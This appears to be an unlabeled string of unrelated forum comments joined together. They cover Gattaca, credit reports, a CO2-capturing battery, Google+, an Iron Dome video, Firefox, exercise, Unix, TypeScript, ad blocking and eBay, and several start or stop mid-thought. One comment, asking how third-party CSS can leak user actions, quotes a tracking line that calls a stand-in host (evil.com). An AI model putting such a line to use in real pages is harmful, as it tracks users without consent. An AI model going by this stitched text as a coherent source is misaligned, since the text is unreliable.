> The scary aspect was that everyone blindly trusted the gene scanner to be infallible (proven wrong by the protagonist).

It's been a while since I've seen the movie but the protagonist didn't prove that the gene scanner could fail. He just cheated his way through it by using a health person's DNA evidence.

In fact, the final(?) scene of the movie proved the exact opposite of your claim. Again, it's been a while, but I believe the protagonist was just about to board the rocket when he was surprised by one final DNA scan and as he didn't expect it to be there he knew he couldn't cheat through it. It was heavily implied, if not told to us, that the person who operated the scanner saw the scan report and should have turned him away if he followed protocol, but he let the protagonist through anyway. I wanna say the scanner person quipped about how the protagonist must have been qualified if he could go through the training program with his non-GMO'd genes.

The movie isn't about a surveillance state. It was about a hypothetical future where nobody was conceived naturally anymore. Everybody was conceived with pre-selected genes which I imagine improved physical and mental prowess while also eliminating deadly diseases and defects. The protagonist was naturally conceived and as a consequence he had eyesight problems and I want to say asthma as well. I had the impression that they didn't want to accept astronauts with say asthma because they would rather just not have to deal with that problem to begin with.

The credit card solicitations are coming from companies that are purchasing credit headers from the credit reporting bureaus (Trans Union, Equifax & Experian). The credit header is just your name/address/credit score band.
Just log in to each bureau and opt out of credit header sharing. They will honor it. Use annualCreditReport.com for one annual credit report/yr from each bureau.

Please do! I just bought a couple of cheap co2 sensors on Amazon (2k positive reviews) only to find out that they may not be accurate.

Ontology is a reduction of reality and shows the limits of our minds.

Fake news is a great example of how sloppy categorization can end up being. Fake news is mostly about creating clickbaity stories which will make people share and thus increase advertising revenue, yet today most people think about it as some sort of political propaganda.

Reality is more nuanced than our categories allow us to explore and often times they are limiting our ability to think about the world around us.

Clays point sees to be that the value of information is not in categorizing it but allowing for new relationships to be made, which is exactly what ontology can often hinder.

From paper - this rechargeable battery uses sodium and co2 during discharge, creating baking soda and releasing hydrogen (which can be used for anything) from water. You can recharge sodium for anode releasing oxygen and chloride (from saltwater). Also cathode is nonconsumable and doesn't clog with reactants or some other elements which could be in solution (typical problem with similar batteries). So it essentially binds CO2 in baking soda on discharge and doesn't release it on recharge. Perfect for carbon capture. Also it can run continuously, just needs changing anodes occasionally. Recharge can be in another cell or even in some factory.
As a solution developer, I find the most bang for my buck is when I produce solutions for people who come to me with a problem rather than a solution.

Imagine if Google made you answer the question "Why?" five times before it showed you results. I wonder if a well trained network would produce such accurate results we would no longer need to see a list of results, and could simply hit the lucky button.

But good luck finding a user who's willing to answer "Why?" five times rather than brute-forcing a search engine into their "echo chamber," as you accurately described it.
They should never have gone public in the first place.
This wouldn't work as content is also changed while the site is running. That means content is changed inside the container but won't be pushed everywhere then so the next build would override the changes made.
Don’t forget that they ran logins and notifications for everything through the Google+ interface and did things to juice the numbers like uncontrollable push notifications every time someone you’d ever exchanged email with joined (hi random person who bought a bookcase on Craigslist!).

The G+ numbers looked suspicious if you ran any sort of public website, where e.g. I saw metrics for referrals or shares at least an order of magnitude lower than Facebook or Twitter.

Thanks for the explanation. Does this look like an exercise?

What I can glean from the short clip is this:

- there is a rocket launched at around 0:08 from a valley nearby the skateboarder with the camera

- you can hear the noise of that rocket almost instantaneously, so the distance is not very high, maybe a few kilometers at most.

- we can't see when the interceptor is launched, but I see it chasing the first rocket closely around 0:13, so the interceptor must've been launched almost at the same time as the first rocket

- at 0:24 the first rocket tries an evading maneuver, a sharp turn

- the interceptor is not fooled, follows closely, and the detonation appears to happen at 0:25. I am not completely sure, but it appears you can see the plume a few seconds later

- the camera follows back the smoke trails (or maybe contrails?) and the two rockets appear to have started from virtually the same place

- neither rocket appears to have two stages

This could be consistent with either an exercise (for example to test how an interceptor performs when the target takes evasive actions), or a staged show of military capabilities (better show you carry a big stick than actually use it), or a real interception of a rocket launched from the Syrian-Israeli border (this explains the proximity: the Syrian battery is located near the border, but so is the Iron Dome battery too).

Anyway, here's the wikiepdia short entry [1]

"On 21 January 2019, the IDF released footage online of a Syrian Arab Army rocket attack on the Golan Heights being intercepted by Iron Dome. The video was shot by skiers at Mount Hermon ski resort; Israeli authorities announced that the resort was closed until further notice The attack as in response to Israel's launching of nine rockets at SAA targets in western Damascus.[106][107][108]"

I'm currently running the experimental branch of Firefox on Linux and IMO things have improved a lot since then. I had similar issues, especially with tabs that crashes / get stuck when watching 3 or 4 twitch streams. With the latest releases almost all has gone away (cant remember any crashed tabs in the last few months).

In Firefox I really miss the ability to tab-search from the address bar in site-specific search engines. I.e. in order to search for something on Amazon: type "amaz", tab, then type a search term. I didn't find any extensions for Firefox that would provide this feature.

>Exercising for 30 minutes means that you also need to prepare, have a shower afterwards and it also means that you will require more sleep.

We've fetishised physical activity as "exercise", a strange and pointless hobby that you need to wear special clothes for. Nothing could be further from the truth.

Current health guidance suggests that it's perfectly sufficient to do 150 minutes of moderate cardiovascular activity and 60 minutes of muscular activity every week. Crucially, there's nothing magic about "exercise" as opposed to just doing physical things. Going for a brisk walk or pushing the lawnmower counts as moderate cardiovascular activity. Digging in the garden, laying bricks or carrying heavy bags of shopping counts as strength activity.

We need to get away from thinking about exercise as something we add to our schedule, but something that we build into an active lifestyle. Many people never do "exercise" per se, but get more than enough physical activity to stay healthy. Some people do have extremely sedentary lifestyles that are detrimental to their health, but they don't need a gym membership and some lycra pants to fix that.

The message shouldn't be "get more exercise", but "be more active".
Efficiently built Artificial Intelligence software is as astonishing as magic. Think of the movie suggestions from Google or the prediction by software about a person in picture posted at Facebook. The predictive analytics of these systems are strikingly close to reality.

The Temporary Containers was a nice add-on built on top of that.[0] While it's a pain in the aspect of cookie-use across domains (like logging into Azure), it's other features out-weigh the initial nuissance - like automatic deletion of the container, as soon as the last one for that particular domain is closed. All of this is, of course, configurable.

> Without the UNIX philosophy none of this would even get off the ground.

So the UNIX philosophy was the only possible way computing could have gone to result in a diverse set of systems that communicate with each other? Is there some sort of CS proof of this claim? Or was it just how history played out?

> For some reason some people think programming is hard because you have to create some classes and struggle with basic syntax. Inspecting trivial object and deciding the value of its sole attribute is "2" or "A" is not what makes our work hard.

Alan Kay and some others have thought programming would be more productive if it took place at a higher level than manipulating text and files. You might not agree with that, but the reason you have such good tools for text and file manipulation is because the Unix way prevailed. Magnitudes more effort has been poured into making that tooling than alternative approaches.

> Visual UIs slow you down, that's just a physical fact - how fast is you hand? - and it is totally reasonable for new/incompetent users and/or users that perform visual tasks, but programming is not a visual task.

Well, ask someone with a lot of VB or Smalltalk experience how much the environment slows them down in comparison. Because you often hear the opposite.

If the new API get's ported (which is likely to happen), it does not mean the existing API will get crippled. After all, they are different implementations and it's Mozilla who's behind that. I trust them to not deprecate the old API until all use cases, especially concerning privacy, are taken care of in the appropriate way.

Let's hope I'm right. :)
The important part of Fuchsia is not the UI at this point, it's the kernel.
Type guards also allow you to use Array.prototype.filter to modify the type of an array ie

const maybePets: Array<Pet | undefined> = [...]
const pets: Array<Pet> = maybePets.filter((v: Pet | undefined): v is Pet => v != undefined)

Will compile without errors.
A design that happens to cripple modern ad blocking and is not nearly close to being a full replacement of the existing API. Improving performance by removing features is easy. I don't think it's misrepresentation to call it crippling of said features.

The fact is that modern ads and crapware/malware web resources are a large problem that users choose to deal with by installing modern ad blockers. Even if that makes the browser somewhat slower overall, it is the ads that are the culprit, not the ad blockers. Also, anecdotally, but I find the web's performance to be vastly improved by installing uBlock Origin, as has also been noted in another comment.

It is also a fact that Google's whole business revolves around ads. Again, why wouldn't Google be mindful of ad blocking and try to prevent it from happening, with all the resources it has at its disposal? It would be bad business not to try.

Even if this particular situation isn't an example of this, I think it is irrational to think it does not and will not happen.

You can't assume that only the origin will be serving css. Most pages these days contain resources from all over the web, and most developers assume that CSS is safe to load from anywhere. What's not clear to me is whether 'evil' in content: url("https://evil.com/track?action=link_clicked" can point to anywhere on the web? Or just the origin of the css? Or...?
They're either scanning for open proxies and think they found one (do you return non-error for those requests?), or have actually found one (I'm not sure what your extension actually does, but can you abuse it as a relay by any chance?)

Anyway, they're basically checking if you can put in a known domain as the destination and if you'll hand over the traffic to that host.
> Our current understanding of radioactive decay is that it is 100% random

Isn't it only locally random? I.e. there could still be some global "initial conditions" that make it deterministic (yet unknowable for us)... As in, given a sequence of numbers, there's no way to tell if it was generated randomly or just pseudorandomly (e.g. by RSA/SHA).

That's true if you're prepared to update the file yourself all the time. In my experience there are a lot of URLs to maintain and I am ok with offloading that trust to a 3rd party like Easylist who will maintain the list for me.

Admittedly, I do occasionally have to turn the adblocker off to get a site to work, but this is maybe once a month.

This is the reason I haven't installed Pi-hole. I understand that a broken site may be because of the adblocker and can turn it off in my browser, but a less tech savvy user may not know this. And if they are on a Pi-hole network they won't know or be able to turn it off (I understand there is a whitelist but I believe this is only configured by an admin - could be wrong here).

Three, surely? They forgot, or actively pivoted away from the second hand market that made them in the first place. Like they saw Amazon on 10x their turnover and decided to chase that new product rabbit instead.

Second hand was the interesting segment for so many. There's no $250 seller as it hasn't been made for decades, or someone searches for once-worn, but reduced price, shoes, or the new family looking for almost new kid's stuff. Second hand and junk shop (remember those?), or bereavement and house clearance stuff. The sort of stuff people would have no idea of value, then would throw, donate or clear. None of those went away, they just left eBay, some to landfill. eBay "helpfully" including new and global in every search, and fees increasing to 10%, just hastened the exodus. As did policies encouraging all remaining buyers to be from the "awkward squad" even for your £1 amateur one-off listing.

For a good few years it seemed like everyone put their junk on eBay, sold for decent prices, and as a result everyone tended to look too. Some made a worthwhile side income trading up junk picked up at sales and charity shops. Everyone seemed mostly happy. List a time or two, and if it doesn't sell, donate or throw away.

It's almost like yet another second rate mall/Amazon-alike wasn't what anyone was looking for, so no wonder it's losing ground. Could they have found a way to keep and grow that first market and still gain a commercial market for new products? Should they have stayed out of becoming just another second-rate mall? Good questions. :)

unparalleled for explaining the graph model behind git — what's a merge, what it means to fetch vs pull, what's the difference between committing locally vs push etc...

The specific points that make it great for such teaching:

1. pretty graph

2. hovering over actions such as Commit / Merge / Rebase / Push shows what would happen to the graph if you do it.

3. you can manually "Move" local & remote branches anywhere you want! This is mildly risky as a habit, but much clearer to explain than fast-forward and push, especially with multiple remotes.

4. automatic fetch that works pretty well (though explicit fetch UI with multiple remotes is clunky). For people scared of merging and conflicts, it's liberating to teach "fetch is always safe" and "local commit is always safe", and that you can fast-forward or merge/rebase separate step.
